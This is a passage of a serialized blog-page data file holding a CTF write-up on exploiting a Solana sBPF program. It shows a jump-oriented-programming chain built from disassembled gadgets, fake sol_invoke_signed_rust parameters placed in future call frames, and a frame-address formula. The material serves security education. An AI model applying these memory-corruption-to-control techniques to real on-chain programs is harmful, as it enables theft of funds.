LinePlaceholder":16},[50339],{"type":29,"value":314},{"type":24,"tag":147,"props":50341,"children":50342},{"class":149,"line":421},[50343,50348,50353,50357,50361,50365,50369,50373,50378,50382,50387],{"type":24,"tag":147,"props":50344,"children":50345},{"style":247},[50346],{"type":29,"value":50347},"100001c10",{"type":24,"tag":147,"props":50349,"children":50350},{"style":247},[50351],{"type":29,"value":50352},"  79a2b8ff00000000",{"type":24,"tag":147,"props":50354,"children":50355},{"style":247},[50356],{"type":29,"value":49725},{"type":24,"tag":147,"props":50358,"children":50359},{"style":247},[50360],{"type":29,"value":49730},{"type":24,"tag":147,"props":50362,"children":50363},{"style":235},[50364],{"type":29,"value":49735},{"type":24,"tag":147,"props":50366,"children":50367},{"style":247},[50368],{"type":29,"value":49740},{"type":24,"tag":147,"props":50370,"children":50371},{"style":241},[50372],{"type":29,"value":3470},{"type":24,"tag":147,"props":50374,"children":50375},{"style":705},[50376],{"type":29,"value":50377},"72",{"type":24,"tag":147,"props":50379,"children":50380},{"style":235},[50381],{"type":29,"value":49754},{"type":24,"tag":147,"props":50383,"children":50384},{"style":247},[50385],{"type":29,"value":50386},"var_48",{"type":24,"tag":147,"props":50388,"children":50389},{"style":235},[50390],{"type":29,"value":827},{"type":24,"tag":147,"props":50392,"children":50393},{"class":149,"line":435},[50394,50399,50404,50409,50413,50417,50421,50425,50429,50433],{"type":24,"tag":147,"props":50395,"children":50396},{"style":247},[50397],{"type":29,"value":50398},"100001c18",{"type":24,"tag":147,"props":50400,"children":50401},{"style":705},[50402],{"type":29,"value":50403},"  1502040000000000",{"type":24,"tag":147,"props":50405,"children":50406},{"style":247},[50407],{"type":29,"value":50408},"   jeq",{"type":24,"tag":147,"props":50410,"children":50411},{"style":235},[50412],{"type":29,"value":14344},{"type":24,"tag":147,"props":50414,"children":50415},{"style":241},[50416],{"type":29,"value":624},{"type":24,"tag":147,"props":50418,"children":50419},{"style":705},[50420],{"type":29,"value":23134},{"type":24,"tag":147,"props":50422,"children":50423},{"style":235},[50424],{"type":29,"value":11445},{"type":24,"tag":147,"props":50426,"children":50427},{"style":247},[50428],{"type":29,"value":50106},{"type":24,"tag":147,"props":50430,"children":50431},{"style":235},[50432],{"type":29,"value":546},{"type":24,"tag":147,"props":50434,"children":50435},{"style":705},[50436],{"type":29,"value":49989},{"type":24,"tag":147,"props":50438,"children":50439},{"class":149,"line":444},[50440],{"type":24,"tag":147,"props":50441,"children":50442},{"emptyLinePlaceholder":16},[50443],{"type":29,"value":314},{"type":24,"tag":147,"props":50445,"children":50446},{"class":149,"line":452},[50447,50452,50457,50462,50466,50470],{"type":24,"tag":147,"props":50448,"children":50449},{"style":247},[50450],{"type":29,"value":50451},"100001c20",{"type":24,"tag":147,"props":50453,"children":50454},{"style":705},[50455],{"type":29,"value":50456},"  2702000022000000",{"type":24,"tag":147,"props":50458,"children":50459},{"style":247},[50460],{"type":29,"value":50461},"   mul",{"type":24,"tag":147,"props":50463,"children":50464},{"style":247},[50465],{"type":29,"value":49730},{"type":24,"tag":147,"props":50467,"children":50468},{"style":235},[50469],{"type":29,"value":546},{"type":24,"tag":147,"props":50471,"children":50472},{"style":705},[50473],{"type":29,"value":50474},"0x22\n",{"type":24,"tag":147,"props":50476,"children":50477},{"class":149,"line":461},[50478,50483,50488,50492,50496,50500,50504,50508,50513,50517,50522],{"type":24,"tag":147,"props":50479,"children":50480},{"style":247},[50481],{"type":29,"value":50482},"100001c28",{"type":24,"tag":147,"props":50484,"children":50485},{"style":247},[50486],{"type":29,"value":50487},"  79a1b0ff00000000",{"type":24,"tag":147,"props":50489,"children":50490},{"style":247},[50491],{"type":29,"value":49725},{"type":24,"tag":147,"props":50493,"children":50494},{"style":247},[50495],{"type":29,"value":50019},{"type":24,"tag":147,"props":50497,"children":50498},{"style":235},[50499],{"type":29,"value":49735},{"type":24,"tag":147,"props":50501,"children":50502},{"style":247},[50503],{"type":29,"value":49740},{"type":24,"tag":147,"props":50505,"children":50506},{"style":241},[50507],{"type":29,"value":3470},{"type":24,"tag":147,"props":50509,"children":50510},{"style":705},[50511],{"type":29,"value":50512},"80",{"type":24,"tag":147,"props":50514,"children":50515},{"style":235},[50516],{"type":29,"value":49754},{"type":24,"tag":147,"props":50518,"children":50519},{"style":247},[50520],{"type":29,"value":50521},"var_50",{"type":24,"tag":147,"props":50523,"children":50524},{"style":235},[50525],{"type":29,"value":827},{"type":24,"tag":147,"props":50527,"children":50528},{"class":149,"line":469},[50529,50534,50539,50543,50547,50551],{"type":24,"tag":147,"props":50530,"children":50531},{"style":247},[50532],{"type":29,"value":50533},"100001c30",{"type":24,"tag":147,"props":50535,"children":50536},{"style":247},[50537],{"type":29,"value":50538},"  b703000001000000",{"type":24,"tag":147,"props":50540,"children":50541},{"style":247},[50542],{"type":29,"value":50014},{"type":24,"tag":147,"props":50544,"children":50545},{"style":247},[50546],{"type":29,"value":49785},{"type":24,"tag":147,"props":50548,"children":50549},{"style":235},[50550],{"type":29,"value":546},{"type":24,"tag":147,"props":50552,"children":50553},{"style":705},[50554],{"type":29,"value":50555},"0x1\n",{"type":24,"tag":147,"props":50557,"children":50558},{"class":149,"line":508},[50559,50564,50569,50573],{"type":24,"tag":147,"props":50560,"children":50561},{"style":247},[50562],{"type":29,"value":50563},"100001c38",{"type":24,"tag":147,"props":50565,"children":50566},{"style":247},[50567],{"type":29,"value":50568},"  8510000003feffff",{"type":24,"tag":147,"props":50570,"children":50571},{"style":247},[50572],{"type":29,"value":49936},{"type":24,"tag":147,"props":50574,"children":50575},{"style":247},[50576],{"type":29,"value":50577}," __rust_dealloc\n",{"type":24,"tag":147,"props":50579,"children":50580},{"class":149,"line":572},[50581],{"type":24,"tag":147,"props":50582,"children":50583},{"emptyLinePlaceholder":16},[50584],{"type":29,"value":314},{"type":24,"tag":147,"props":50586,"children":50587},{"class":149,"line":591},[50588,50593,50598,50602,50606,50610,50614,50618,50623,50627,50632],{"type":24,"tag":147,"props":50589,"children":50590},{"style":247},[50591],{"type":29,"value":50592},"100001c40",{"type":24,"tag":147,"props":50594,"children":50595},{"style":247},[50596],{"type":29,"value":50597},"  79a2d0ff00000000",{"type":24,"tag":147,"props":50599,"children":50600},{"style":247},[50601],{"type":29,"value":49725},{"type":24,"tag":147,"props":50603,"children":50604},{"style":247},[50605],{"type":29,"value":49730},{"type":24,"tag":147,"props":50607,"children":50608},{"style":235},[50609],{"type":29,"value":49735},{"type":24,"tag":147,"props":50611,"children":50612},{"style":247},[50613],{"type":29,"value":49740},{"type":24,"tag":147,"props":50615,"children":50616},{"style":241},[50617],{"type":29,"value":3470},{"type":24,"tag":147,"props":50619,"children":50620},{"style":705},[50621],{"type":29,"value":50622},"48",{"type":24,"tag":147,"props":50624,"children":50625},{"style":235},[50626],{"type":29,"value":49754},{"type":24,"tag":147,"props":50628,"children":50629},{"style":247},[50630],{"type":29,"value":50631},"var_30",{"type":24,"tag":147,"props":50633,"children":50634},{"style":235},[50635],{"type":29,"value":827},{"type":24,"tag":147,"props":50637,"children":50638},{"class":149,"line":632},[50639,50644,50649,50653,50657,50661,50665,50669,50673,50677],{"type":24,"tag":147,"props":50640,"children":50641},{"style":247},[50642],{"type":29,"value":50643},"100001c48",{"type":24,"tag":147,"props":50645,"children":50646},{"style":705},[50647],{"type":29,"value":50648},"  1502030000000000",{"type":24,"tag":147,"props":50650,"children":50651},{"style":247},[50652],{"type":29,"value":50408},{"type":24,"tag":147,"props":50654,"children":50655},{"style":235},[50656],{"type":29,"value":14344},{"type":24,"tag":147,"props":50658,"children":50659},{"style":241},[50660],{"type":29,"value":624},{"type":24,"tag":147,"props":50662,"children":50663},{"style":705},[50664],{"type":29,"value":22901},{"type":24,"tag":147,"props":50666,"children":50667},{"style":235},[50668],{"type":29,"value":11445},{"type":24,"tag":147,"props":50670,"children":50671},{"style":247},[50672],{"type":29,"value":50106},{"type":24,"tag":147,"props":50674,"children":50675},{"style":235},[50676],{"type":29,"value":546},{"type":24,"tag":147,"props":50678,"children":50679},{"style":705},[50680],{"type":29,"value":49989},{"type":24,"tag":147,"props":50682,"children":50683},{"class":149,"line":659},[50684],{"type":24,"tag":147,"props":50685,"children":50686},{"emptyLinePlaceholder":16},[50687],{"type":29,"value":314},{"type":24,"tag":147,"props":50689,"children":50690},{"class":149,"line":684},[50691,50696,50701,50705,50709,50713,50717,50721,50726,50730,50735],{"type":24,"tag":147,"props":50692,"children":50693},{"style":247},[50694],{"type":29,"value":50695},"100001c50",{"type":24,"tag":147,"props":50697,"children":50698},{"style":247},[50699],{"type":29,"value":50700},"  79a1c8ff00000000",{"type":24,"tag":147,"props":50702,"children":50703},{"style":247},[50704],{"type":29,"value":49725},{"type":24,"tag":147,"props":50706,"children":50707},{"style":247},[50708],{"type":29,"value":50019},{"type":24,"tag":147,"props":50710,"children":50711},{"style":235},[50712],{"type":29,"value":49735},{"type":24,"tag":147,"props":50714,"children":50715},{"style":247},[50716],{"type":29,"value":49740},{"type":24,"tag":147,"props":50718,"children":50719},{"style":241},[50720],{"type":29,"value":3470},{"type":24,"tag":147,"props":50722,"children":50723},{"style":705},[50724],{"type":29,"value":50725},"56",{"type":24,"tag":147,"props":50727,"children":50728},{"style":235},[50729],{"type":29,"value":49754},{"type":24,"tag":147,"props":50731,"children":50732},{"style":247},[50733],{"type":29,"value":50734},"var_38",{"type":24,"tag":147,"props":50736,"children":50737},{"style":235},[50738],{"type":29,"value":827},{"type":24,"tag":147,"props":50740,"children":50741},{"class":149,"line":715},[50742,50747,50751,50755,50759,50763],{"type":24,"tag":147,"props":50743,"children":50744},{"style":247},[50745],{"type":29,"value":50746},"100001c58",{"type":24,"tag":147,"props":50748,"children":50749},{"style":247},[50750],{"type":29,"value":50538},{"type":24,"tag":147,"props":50752,"children":50753},{"style":247},[50754],{"type":29,"value":50014},{"type":24,"tag":147,"props":50756,"children":50757},{"style":247},[50758],{"type":29,"value":49785},{"type":24,"tag":147,"props":50760,"children":50761},{"style":235},[50762],{"type":29,"value":546},{"type":24,"tag":147,"props":50764,"children":50765},{"style":705},[50766],{"type":29,"value":50555},{"type":24,"tag":147,"props":50768,"children":50769},{"class":149,"line":744},[50770,50775,50780,50784],{"type":24,"tag":147,"props":50771,"children":50772},{"style":247},[50773],{"type":29,"value":50774},"100001c60",{"type":24,"tag":147,"props":50776,"children":50777},{"style":247},[50778],{"type":29,"value":50779},"  85100000fefdffff",{"type":24,"tag":147,"props":50781,"children":50782},{"style":247},[50783],{"type":29,"value":49936},{"type":24,"tag":147,"props":50785,"children":50786},{"style":247},[50787],{"type":29,"value":50577},{"type":24,"tag":147,"props":50789,"children":50790},{"class":149,"line":784},[50791],{"type":24,"tag":147,"props":50792,"children":50793},{"emptyLinePlaceholder":16},[50794],{"type":29,"value":314},{"type":24,"tag":147,"props":50796,"children":50797},{"class":149,"line":792},[50798,50803,50808,50813,50818,50823],{"type":24,"tag":147,"props":50799,"children":50800},{"style":247},[50801],{"type":29,"value":50802},"100001c68",{"type":24,"tag":147,"props":50804,"children":50805},{"style":705},[50806],{"type":29,"value":50807},"  9500000000000000",{"type":24,"tag":147,"props":50809,"children":50810},{"style":247},[50811],{"type":29,"value":50812},"   exit",{"type":24,"tag":147,"props":50814,"children":50815},{"style":235},[50816],{"type":29,"value":50817}," {",{"type":24,"tag":147,"props":50819,"children":50820},{"style":247},[50821],{"type":29,"value":50822},"__return_addr",{"type":24,"tag":147,"props":50824,"children":50825},{"style":235},[50826],{"type":29,"value":827},{"type":24,"tag":25,"props":50828,"children":50829},{},[50830,50832,50838],{"type":29,"value":50831},"Which, assuming that ",{"type":24,"tag":80,"props":50833,"children":50835},{"className":50834},[],[50836],{"type":29,"value":50837},"sol_invoke_signed_rust",{"type":29,"value":50839}," returns 0, is doing the following:",{"type":24,"tag":2674,"props":50841,"children":50842},{},[50843,50852,50861],{"type":24,"tag":2678,"props":50844,"children":50845},{},[50846],{"type":24,"tag":80,"props":50847,"children":50849},{"className":50848},[],[50850],{"type":29,"value":50851},"sol_invoke_signed_rust(r1, [r10-136], [r10-128], [r10-152], [r10-144])",{"type":24,"tag":2678,"props":50853,"children":50854},{},[50855],{"type":24,"tag":80,"props":50856,"children":50858},{"className":50857},[],[50859],{"type":29,"value":50860},"*[r10-120] = 0x18",{"type":24,"tag":2678,"props":50862,"children":50863},{},[50864,50866,50872,50874,50881],{"type":29,"value":50865},"Calls ",{"type":24,"tag":80,"props":50867,"children":50869},{"className":50868},[],[50870],{"type":29,"value":50871},"__rust_dealloc",{"type":29,"value":50873},", which in default circumstances is a ",{"type":24,"tag":2773,"props":50875,"children":50878},{"href":50876,"rel":50877},"https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/entrypoint.rs#L257C1-L259",[2777],[50879],{"type":29,"value":50880},"NOP",{"type":29,"value":87},{"type":24,"tag":25,"props":50883,"children":50884},{},[50885],{"type":29,"value":50886},"r10 is the stack pointer, so it will point to the stack frame of the current depth when executing that instruction.",{"type":24,"tag":25,"props":50888,"children":50889},{},[50890],{"type":29,"value":50891},"If we correctly set up the stack frame used by this gadget with valid parameters, that's a win.",{"type":24,"tag":25,"props":50893,"children":50894},{},[50895,50897,50904],{"type":29,"value":50896},"Looking at the ",{"type":24,"tag":2773,"props":50898,"children":50901},{"href":50899,"rel":50900},"https://github.com/solana-labs/solana/blob/master/sdk/program/src/syscalls/definitions.rs#L59",[2777],[50902],{"type":29,"value":50903},"definition",{"type":29,"value":50905},", it's not crystal clear what the parameters are:",{"type":24,"tag":137,"props":50907,"children":50909},{"className":8614,"code":50908,"language":8613,"meta":7,"style":7},"fn sol_invoke_signed_rust(instruction_addr: *const u8, account_infos_addr: *const u8, account_infos_len: u64, signers_seeds_addr: *const u8, signers_seeds_len: u64) -> u64\n",[50910],{"type":24,"tag":80,"props":50911,"children":50912},{"__ignoreMap":7},[50913],{"type":24,"tag":147,"props":50914,"children":50915},{"class":149,"line":150},[50916,50920,50925,50929,50934,50938,50942,50946,50950,50954,50959,50963,50967,50971,50975,50979,50984,50988,50992,50996,51001,51005,51009,51013,51017,51021,51026,51030,51034,51038,51042],{"type":24,"tag":147,"props":50917,"children":50918},{"style":218},[50919],{"type":29,"value":25870},{"type":24,"tag":147,"props":50921,"children":50922},{"style":229},[50923],{"type":29,"value":50924}," sol_invoke_signed_rust",{"type":24,"tag":147,"props":50926,"children":50927},{"style":235},[50928],{"type":29,"value":480},{"type":24,"tag":147,"props":50930,"children":50931},{"style":247},[50932],{"type":29,"value":50933},"instruction_addr",{"type":24,"tag":147,"props":50935,"children":50936},{"style":241},[50937],{"type":29,"value":978},{"type":24,"tag":147,"props":50939,"children":50940},{"style":241},[50941],{"type":29,"value":1263},{"type":24,"tag":147,"props":50943,"children":50944},{"style":218},[50945],{"type":29,"value":15276},{"type":24,"tag":147,"props":50947,"children":50948},{"style":9044},[50949],{"type":29,"value":20248},{"type":24,"tag":147,"props":50951,"children":50952},{"style":235},[50953],{"type":29,"value":546},{"type":24,"tag":147,"props":50955,"children":50956},{"style":247},[50957],{"type":29,"value":50958},"account_infos_addr",{"type":24,"tag":147,"props":50960,"children":50961},{"style":241},[50962],{"type":29,"value":978},{"type":24,"tag":147,"props":50964,"children":50965},{"style":241},[50966],{"type":29,"value":1263},{"type":24,"tag":147,"props":50968,"children":50969},{"style":218},[50970],{"type":29,"value":15276},{"type":24,"tag":147,"props":50972,"children":50973},{"style":9044},[50974],{"type":29,"value":20248},{"type":24,"tag":147,"props":50976,"children":50977},{"style":235},[50978],{"type":29,"value":546},{"type":24,"tag":147,"props":50980,"children":50981},{"style":247},[50982],{"type":29,"value":50983},"account_infos_len",{"type":24,"tag":147,"props":50985,"children":50986},{"style":241},[50987],{"type":29,"value":978},{"type":24,"tag":147,"props":50989,"children":50990},{"style":9044},[50991],{"type":29,"value":11484},{"type":24,"tag":147,"props":50993,"children":50994},{"style":235},[50995],{"type":29,"value":546},{"type":24,"tag":147,"props":50997,"children":50998},{"style":247},[50999],{"type":29,"value":51000},"signers_seeds_addr",{"type":24,"tag":147,"props":51002,"children":51003},{"style":241},[51004],{"type":29,"value":978},{"type":24,"tag":147,"props":51006,"children":51007},{"style":241},[51008],{"type":29,"value":1263},{"type":24,"tag":147,"props":51010,"children":51011},{"style":218},[51012],{"type":29,"value":15276},{"type":24,"tag":147,"props":51014,"children":51015},{"style":9044},[51016],{"type":29,"value":20248},{"type":24,"tag":147,"props":51018,"children":51019},{"style":235},[51020],{"type":29,"value":546},{"type":24,"tag":147,"props":51022,"children":51023},{"style":247},[51024],{"type":29,"value":51025},"signers_seeds_len",{"type":24,"tag":147,"props":51027,"children":51028},{"style":241},[51029],{"type":29,"value":978},{"type":24,"tag":147,"props":51031,"children":51032},{"style":9044},[51033],{"type":29,"value":11484},{"type":24,"tag":147,"props":51035,"children":51036},{"style":235},[51037],{"type":29,"value":564},{"type":24,"tag":147,"props":51039,"children":51040},{"style":241},[51041],{"type":29,"value":495},{"type":24,"tag":147,"props":51043,"children":51044},{"style":9044},[51045],{"type":29,"value":18814},{"type":24,"tag":25,"props":51047,"children":51048},{},[51049,51051,51056,51058,51065],{"type":29,"value":51050},"The source of ",{"type":24,"tag":2773,"props":51052,"children":51054},{"href":51053},"(https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/program.rs#L289)",[51055],{"type":29,"value":49666},{"type":29,"value":51057}," helps a lot, but looking at the actual ",{"type":24,"tag":2773,"props":51059,"children":51062},{"href":51060,"rel":51061},"https://github.com/solana-labs/solana/blob/v1.17.4/programs/bpf_loader/src/syscalls/cpi.rs#L458-L637",[2777],[51063],{"type":29,"value":51064},"implementation",{"type":29,"value":51066}," provides more clarity:",{"type":24,"tag":22292,"props":51068,"children":51069},{},[51070],{"type":24,"tag":2678,"props":51071,"children":51072},{},[51073,51078,51080,51087],{"type":24,"tag":80,"props":51074,"children":51076},{"className":51075},[],[51077],{"type":29,"value":50933},{"type":29,"value":51079}," points to a ",{"type":24,"tag":2773,"props":51081,"children":51084},{"href":51082,"rel":51083},"https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/stable_layout/stable_instruction.rs#L33",[2777],[51085],{"type":29,"value":51086},"StableInstruction",{"type":29,"value":978},{"type":24,"tag":25,"props":51089,"children":51090},{},[51091],{"type":24,"tag":63,"props":51092,"children":51094},{"alt":51086,"src":51093},"/posts/jumping-around-in-the-vm/stable_ix.svg",[],{"type":24,"tag":22292,"props":51096,"children":51097},{},[51098,51123],{"type":24,"tag":2678,"props":51099,"children":51100},{},[51101,51106,51108,51113,51115,51122],{"type":24,"tag":80,"props":51102,"children":51104},{"className":51103},[],[51105],{"type":29,"value":50958},{"type":29,"value":51107}," points to a slice of ",{"type":24,"tag":80,"props":51109,"children":51111},{"className":51110},[],[51112],{"type":29,"value":50983},{"type":29,"value":51114},"  ",{"type":24,"tag":2773,"props":51116,"children":51119},{"href":51117,"rel":51118},"https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/account_info.rs#L19-L36",[2777],[51120],{"type":29,"value":51121},"AccountInfos",{"type":29,"value":87},{"type":24,"tag":2678,"props":51124,"children":51125},{},[51126,51131,51133,51138,51140,51145],{"type":24,"tag":80,"props":51127,"children":51129},{"className":51128},[],[51130],{"type":29,"value":51000},{"type":29,"value":51132}," is a bit trickier, it points to a slice of length ",{"type":24,"tag":80,"props":51134,"children":51136},{"className":51135},[],[51137],{"type":29,"value":51025},{"type":29,"value":51139},", containing slices of ",{"type":24,"tag":80,"props":51141,"children":51143},{"className":51142},[],[51144],{"type":29,"value":2625},{"type":29,"value":87},{"type":24,"tag":25,"props":51147,"children":51148},{},[51149],{"type":24,"tag":63,"props":51150,"children":51153},{"alt":51151,"src":51152},"signers.drawio","/posts/jumping-around-in-the-vm/signers.svg",[],{"type":24,"tag":25,"props":51155,"children":51156},{},[51157,51159,51164],{"type":29,"value":51158},"Where do we store those fake parameters? We can store them directly inside the input data, and just write the pointers to them on the stack through the write gadget. Note that these writes are to ",{"type":24,"tag":8545,"props":51160,"children":51161},{},[51162],{"type":29,"value":51163},"future call frames",{"type":29,"value":87},{"type":24,"tag":25,"props":51166,"children":51167},{},[51168,51170,51177],{"type":29,"value":51169},"Now that we have all the parts, all we need is to string it together. The full ",{"type":24,"tag":2773,"props":51171,"children":51174},{"href":51172,"rel":51173},"https://github.com/chen-robert/paradigmctf-2023/blob/main/jotterp/framework-solve/src/main.rs",[2777],[51175],{"type":29,"value":51176},"reference solution can be found here",{"type":29,"value":87},{"type":24,"tag":25,"props":51179,"children":51180},{},[51181],{"type":29,"value":51182},"Here's a visualization of the final JOP chain.",{"type":24,"tag":137,"props":51184,"children":51186},{"className":49548,"code":51185,"language":49550,"meta":7,"style":7},"graph BT\n    A[0: entrypoint] --> B[1: process_instruction]\n    B --> C[2: process]\n    C --> D[3: Write account_infos.ptr to target_r10 - 136]\n    C --> E[3: process]\n    E --> F[4: Write account_infos.len to target_r10 - 128]\n    E --> G[4: process]\n    G --> H[5: Write signers_seeds.ptr to target_r10 - 152]\n    G --> I[5: process]\n    I --> J[6: Write signers_seeds.len to target_r10 - 144]\n    I --> K[6: process]\n    K --> M[7: Write HeapBase to target_r10 - 120]\n    K --> N[7: process]\n    N --> P[8: Invoke CPI Gadget with R0 pointing to the CreateAccount instruction]\n    N --> O[8: Write 0x4337 to the account]\n",[51187],{"type":24,"tag":80,"props":51188,"children":51189},{"__ignoreMap":7},[51190,51198,51205,51212,51220,51227,51235,51243,51251,51259,51267,51275,51283,51291,51299],{"type":24,"tag":147,"props":51191,"children":51192},{"class":149,"line":150},[51193],{"type":24,"tag":147,"props":51194,"children":51195},{},[51196],{"type":29,"value":51197},"graph BT\n",{"type":24,"tag":147,"props":51199,"children":51200},{"class":149,"line":160},[51201],{"type":24,"tag":147,"props":51202,"children":51203},{},[51204],{"type":29,"value":49570},{"type":24,"tag":147,"props":51206,"children":51207},{"class":149,"line":169},[51208],{"type":24,"tag":147,"props":51209,"children":51210},{},[51211],{"type":29,"value":49578},{"type":24,"tag":147,"props":51213,"children":51214},{"class":149,"line":178},[51215],{"type":24,"tag":147,"props":51216,"children":51217},{},[51218],{"type":29,"value":51219},"    C --> D[3: Write account_infos.ptr to target_r10 - 136]\n",{"type":24,"tag":147,"props":51221,"children":51222},{"class":149,"line":187},[51223],{"type":24,"tag":147,"props":51224,"children":51225},{},[51226],{"type":29,"value":49594},{"type":24,"tag":147,"props":51228,"children":51229},{"class":149,"line":196},[51230],{"type":24,"tag":147,"props":51231,"children":51232},{},[51233],{"type":29,"value":51234},"    E --> F[4: Write account_infos.len to target_r10 - 128]\n",{"type":24,"tag":147,"props":51236,"children":51237},{"class":149,"line":205},[51238],{"type":24,"tag":147,"props":51239,"children":51240},{},[51241],{"type":29,"value":51242},"    E --> G[4: process]\n",{"type":24,"tag":147,"props":51244,"children":51245},{"class":149,"line":214},[51246],{"type":24,"tag":147,"props":51247,"children":51248},{},[51249],{"type":29,"value":51250},"    G --> H[5: Write signers_seeds.ptr to target_r10 - 152]\n",{"type":24,"tag":147,"props":51252,"children":51253},{"class":149,"line":272},[51254],{"type":24,"tag":147,"props":51255,"children":51256},{},[51257],{"type":29,"value":51258},"    G --> I[5: process]\n",{"type":24,"tag":147,"props":51260,"children":51261},{"class":149,"line":281},[51262],{"type":24,"tag":147,"props":51263,"children":51264},{},[51265],{"type":29,"value":51266},"    I --> J[6: Write signers_seeds.len to target_r10 - 144]\n",{"type":24,"tag":147,"props":51268,"children":51269},{"class":149,"line":299},[51270],{"type":24,"tag":147,"props":51271,"children":51272},{},[51273],{"type":29,"value":51274},"    I --> K[6: process]\n",{"type":24,"tag":147,"props":51276,"children":51277},{"class":149,"line":308},[51278],{"type":24,"tag":147,"props":51279,"children":51280},{},[51281],{"type":29,"value":51282},"    K --> M[7: Write HeapBase to target_r10 - 120]\n",{"type":24,"tag":147,"props":51284,"children":51285},{"class":149,"line":317},[51286],{"type":24,"tag":147,"props":51287,"children":51288},{},[51289],{"type":29,"value":51290},"    K --> N[7: process]\n",{"type":24,"tag":147,"props":51292,"children":51293},{"class":149,"line":332},[51294],{"type":24,"tag":147,"props":51295,"children":51296},{},[51297],{"type":29,"value":51298},"    N --> P[8: Invoke CPI Gadget with R0 pointing to the CreateAccount instruction]\n",{"type":24,"tag":147,"props":51300,"children":51301},{"class":149,"line":350},[51302],{"type":24,"tag":147,"props":51303,"children":51304},{},[51305],{"type":29,"value":51306},"    N --> O[8: Write 0x4337 to the account]\n",{"type":24,"tag":25,"props":51308,"children":51309},{},[51310,51312,51318],{"type":29,"value":51311},"Small note: ",{"type":24,"tag":80,"props":51313,"children":51315},{"className":51314},[],[51316],{"type":29,"value":51317},"target_r10",{"type":29,"value":51319}," is the address of the call frame when the CPI gadget is invoked, which, as shown in the graph, is the 8th frame. Its address can be calculated as follows:",{"type":24,"tag":137,"props":51321,"children":51323},{"className":8614,"code":51322,"language":8613,"meta":7,"style":7},"fn call_frame_addr(depth: u64) -> u64 {\n    0x200000000 + 0x2000 * depth + 0x1000\n}\n// call_frame_addr(8) = 0x200011000\n",[51324],{"type":24,"tag":80,"props":51325,"children":51326},{"__ignoreMap":7},[51327,51372,51407,51414],{"type":24,"tag":147,"props":51328,"children":51329},{"class":149,"line":150},[51330,51334,51339,51343,51348,51352,51356,51360,51364,51368],{"type":24,"tag":147,"props":51331,"children":51332},{"style":218},[51333],{"type":29,"value":25870},{"type":24,"tag":147,"props":51335,"children":51336},{"style":229},[51337],{"type":29,"value":51338}," call_frame_addr",{"type":24,"tag":147,"props":51340,"children":51341},{"style":235},[51342],{"type":29,"value":480},{"type":24,"tag":147,"props":51344,"children":51345},{"style":247},[51346],{"type":29,"value":51347},"depth",{"type":24,"tag":147,"props":51349,"children":51350},{"style":241},[51351],{"type":29,"value":978},{"type":24,"tag":147,"props":51353,"children":51354},{"style":9044},[51355],{"type":29,"value":11484},{"type":24,"tag":147,"props":51357,"children":51358},{"style":235},[51359],{"type":29,"value":564},{"type":24,"tag":147,"props":51361,"children":51362},{"style":241},[51363],{"type":29,"value":495},{"type":24,"tag":147,"props":51365,"children":51366},{"style":9044},[51367],{"type":29,"value":11484},{"type":24,"tag":147,"props":51369,"children":51370},{"style":235},[51371],{"type":29,"value":6630},{"type":24,"tag":147,"props":51373,"children":51374},{"class":149,"line":160},[51375,51380,51384,51389,51393,51398,51402],{"type":24,"tag":147,"props":51376,"children":51377},{"style":705},[51378],{"type":29,"value":51379},"    0x200000000",{"type":24,"tag":147,"props":51381,"children":51382},{"style":241},[51383],{"type":29,"value":1734},{"type":24,"tag":147,"props":51385,"children":51386},{"style":705},[51387],{"type":29,"value":51388}," 0x2000",{"type":24,"tag":147,"props":51390,"children":51391},{"style":241},[51392],{"type":29,"value":1263},{"type":24,"tag":147,"props":51394,"children":51395},{"style":247},[51396],{"type":29,"value":51397}," depth",{"type":24,"tag":147,"props":51399,"children":51400},{"style":241},[51401],{"type":29,"value":1734},{"type":24,"tag":147,"props":51403,"children":51404},{"style":705},[51405],{"type":29,"value":51406}," 0x1000\n",{"type":24,"tag":147,"props":51408,"children":51409},{"class":149,"line":169},[51410],{"type":24,"tag":147,"props":51411,"children":51412},{"style":235},[51413],{"type":29,"value":827},{"type":24,"tag":147,"props":51415,"children":51416},{"class":149,"line":178},[51417],{"type":24,"tag":147,"props":51418,"children":51419},{"style":154},[51420],{"type":29,"value":51421},"// call_frame_addr(8) = 0x200011000\n",{"type":24,"tag":32,"props":51423,"children":51424},{"id":8458},[51425],{"type":29,"value":8461},{"type":24,"tag":25,"props":51427,"children":51428},{},[51429,51431,51438],{"type":29,"value":51430},"Most blockchain vulnerabilities are high-level business logic bugs. While low-level Solana bugs are rare, ",{"type":24,"tag":2773,"props":51432,"children":51435},{"href":51433,"rel":51434},"https://osec.io/blog/2022-12-09-rust-realloc-and-references",[2777],[51436],{"type":29,"value":51437},"they do exist",{"type":29,"value":87},{"type":24,"tag":25,"props":51440,"children":51441},{},[51442],{"type":29,"value":51443},"In this blog post, we provided an exploration of the exploitation side of security. There's a surprising amount of work necessary to go from powerful memory corruption primitives to full control of the program.",{"type":24,"tag":25,"props":51445,"children":51446},{},[51447,51449,51454],{"type":29,"value":51448},"Security requires a top-to-bottom understanding of the execution environment. We hope this challenge and blog post motivate others to understand the ",{"type":24,"tag":8545,"props":51450,"children":51451},{},[51452],{"type":29,"value":51453},"entire",{"type":29,"value":51455}," runtime.",{"type":24,"tag":8473,"props":51457,"children":51458},{},[51459],{"type":29,"value":8477},{"title":7,"searchDepth":160,"depth":160,"links":51461},[51462,51466,51467,51470],{"id":24562,"depth":160,"text":24565,"children":51463},[51464,51465],{"id":46137,"depth":169,"text":46140},{"id":47455,"depth":169,"text":47458},{"id":48694,"depth":160,"text":48697},{"id":49530,"depth":160,"text":49533,"children":51468},[51469],{"id":49644,"depth":169,"text":49647},{"id":8458,"depth":160,"text":8461},"content:blog:2023-12-11-jumping-around-in-the-vm.md","blog/2023-12-11-jumping-around-in-the-vm.md","blog/2023-12-11-jumping-around-in-the-vm",{"_path":51475,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":51476,"description":51477,"author":51478,"image":51479,"date":51481,"isFeatured":16,"onBlogPage":16,"body":51482,"_type":8496,"_id":52627,"_source":8498,"_file":52628,"_stem":52629,"_extension":8501},"/blog/2024-01-18-rounding-bugs","Rounding Bugs: An Analysis","Rounding-related hacks are having a moment in the spotlight. We explore these exploits, correct some popular misunderstandings, and provide 